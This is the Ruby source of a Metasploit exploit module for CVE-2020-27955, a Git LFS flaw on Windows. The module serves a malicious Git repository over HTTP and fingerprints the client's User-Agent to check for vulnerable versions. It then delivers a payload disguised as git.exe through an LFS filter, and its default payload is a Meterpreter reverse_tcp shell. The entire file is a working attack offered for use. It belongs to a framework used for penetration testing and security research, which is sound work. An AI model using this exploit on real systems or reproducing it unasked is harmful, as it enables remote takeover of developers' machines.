212 lines
6.9 KiB
Ruby
212 lines
6.9 KiB
Ruby
##
|
||
# This module requires Metasploit: https://metasploit.com/download
|
||
# Current source: https://github.com/rapid7/metasploit-framework
|
||
##
|
||
|
||
class MetasploitModule < Msf::Exploit::Remote
|
||
|
||
Rank = ExcellentRanking
|
||
|
||
include Msf::Exploit::Git
|
||
include Msf::Exploit::Git::Lfs
|
||
include Msf::Exploit::Git::SmartHttp
|
||
include Msf::Exploit::Remote::HttpServer
|
||
include Msf::Exploit::FileDropper
|
||
include Msf::Exploit::EXE
|
||
|
||
def initialize(info = {})
|
||
super(
|
||
update_info(
|
||
info,
|
||
'Name' => 'Git Remote Code Execution via git-lfs (CVE-2020-27955)',
|
||
'Description' => %q{
|
||
A critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for
|
||
versioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked
|
||
into cloning the attacker’s malicious repository using a vulnerable Git version control tool
|
||
},
|
||
'Author' => [
|
||
'Dawid Golunski ', # Discovery
|
||
'space-r7', # Guidance, git mixins
|
||
'jheysel-r7' # Metasploit module
|
||
],
|
||
'References' => [
|
||
['CVE', '2020-27955'],
|
||
['URL', 'https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/']
|
||
],
|
||
'DisclosureDate' => '2020-11-04', # Public disclosure
|
||
'License' => MSF_LICENSE,
|
||
'Platform' => 'win',
|
||
'Arch' => [ARCH_X86, ARCH_X64],
|
||
'Privileged' => true,
|
||
'Targets' => [
|
||
[
|
||
'Git LFS <= 2.12',
|
||
{
|
||
'Platform' => ['win']
|
||
}
|
||
]
|
||
],
|
||
'DefaultTarget' => 0,
|
||
'DefaultOptions' => {
|
||
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
|
||
'WfsDelay' => 10
|
||
},
|
||
'Notes' => {
|
||
'Stability' => [CRASH_SAFE],
|
||
'Reliability' => [REPEATABLE_SESSION],
|
||
'SideEffects' => [
|
||
ARTIFACTS_ON_DISK
|
||
]
|
||
}
|
||
)
|
||
)
|
||
|
||
register_options([
|
||
OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
|
||
])
|
||
deregister_options('RHOSTS')
|
||
end
|
||
|
||
def setup_repo_structure
|
||
payload_fname = 'git.exe'
|
||
@hook_payload = generate_payload_exe
|
||
|
||
ptr_file = generate_pointer_file(@hook_payload)
|
||
git_payload_ptr = GitObject.build_blob_object(ptr_file)
|
||
|
||
git_attr_fname = '.gitattributes'
|
||
git_attr_content = "#{payload_fname} filter=lfs diff=lfs merge=lfs"
|
||
git_attr_obj = GitObject.build_blob_object(git_attr_content)
|
||
|
||
register_dir_for_cleanup('.git')
|
||
register_files_for_cleanup(git_attr_fname)
|
||
|
||
# root of repository
|
||
tree_ent =
|
||
[
|
||
{
|
||
mode: '100644',
|
||
file_name: git_attr_fname,
|
||
sha1: git_attr_obj.sha1
|
||
},
|
||
{
|
||
mode: '100755',
|
||
file_name: payload_fname,
|
||
sha1: git_payload_ptr.sha1
|
||
}
|
||
]
|
||
|
||
tree_obj = GitObject.build_tree_object(tree_ent)
|
||
commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)
|
||
|
||
@git_objs =
|
||
[
|
||
commit, tree_obj, git_attr_obj, git_payload_ptr
|
||
]
|
||
|
||
@refs =
|
||
{
|
||
'HEAD' => 'refs/heads/master',
|
||
'refs/heads/master' => commit.sha1
|
||
}
|
||
end
|
||
|
||
#
|
||
# Determine whether or not the target is exploitable based on the User-Agent header returned from the client.
|
||
# The git version must be equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0 to be
|
||
# exploitable by this vulnerability.
|
||
#
|
||
# Returns +true+ if the target is suitable, else fail_with descriptive message
|
||
#
|
||
def target_suitable?(user_agent)
|
||
info = fingerprint_user_agent(user_agent)
|
||
if info[:ua_name] == Msf::HttpClients::UNKNOWN
|
||
fail_with(Failure::NoTarget, "The client's User-Agent string was unidentifiable: #{info}. The client needs to clone the malicious repo on windows with a git version less than 2.29.0")
|
||
end
|
||
|
||
if info[:os_name] == 'Windows' &&
|
||
((info[:ua_name] == Msf::HttpClients::GIT && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.29.2')) ||
|
||
(info[:ua_name] == Msf::HttpClients::GIT_LFS && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.12')))
|
||
true
|
||
else
|
||
fail_with(Failure::NotVulnerable, "The git client needs to be running on Windows with a version equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0. The user agent, #{info[:ua_name]}, found was running on, #{info[:os_name]} and was at version: #{info[:ua_ver]}")
|
||
end
|
||
end
|
||
|
||
def on_request_uri(cli, req)
|
||
target_suitable?(req.headers['User-Agent'])
|
||
if req.uri.include?('git-upload-pack')
|
||
request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
|
||
case request.type
|
||
when 'ref-discovery'
|
||
response = send_refs(request)
|
||
when 'upload-pack'
|
||
response = send_requested_objs(request)
|
||
else
|
||
fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
|
||
end
|
||
else
|
||
response = handle_lfs_objects(req, @hook_payload, @git_addr)
|
||
unless response.code == 200
|
||
cli.send_response(response)
|
||
fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
|
||
end
|
||
end
|
||
cli.send_response(response)
|
||
end
|
||
|
||
def create_git_uri
|
||
"/#{Faker::App.name.downcase}.git".gsub(' ', '-')
|
||
end
|
||
|
||
def primer
|
||
@git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
|
||
@git_addr = URI.parse(get_uri).merge(@git_repo_uri)
|
||
print_status("Git repository to clone: #{@git_addr}")
|
||
hardcoded_uripath(@git_repo_uri)
|
||
hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")
|
||
end
|
||
|
||
def handle_lfs_objects(req, hook_payload, git_addr)
|
||
git_hook_obj = GitObject.build_blob_object(hook_payload)
|
||
|
||
case req.method
|
||
when 'POST'
|
||
print_status('Sending payload data...')
|
||
response = get_batch_response(req, git_addr, git_hook_obj)
|
||
fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
|
||
when 'GET'
|
||
print_status('Sending LFS object...')
|
||
response = get_requested_obj_response(req, git_hook_obj)
|
||
fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
|
||
else
|
||
fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
|
||
end
|
||
|
||
response
|
||
end
|
||
|
||
def send_refs(req)
|
||
fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'
|
||
|
||
response = get_ref_discovery_response(req, @refs)
|
||
fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response
|
||
|
||
response
|
||
end
|
||
|
||
def send_requested_objs(req)
|
||
upload_pack_resp = get_upload_pack_response(req, @git_objs)
|
||
unless upload_pack_resp
|
||
fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
|
||
end
|
||
|
||
upload_pack_resp
|
||
end
|
||
|
||
def exploit
|
||
setup_repo_structure
|
||
super
|
||
end
|
||
end
|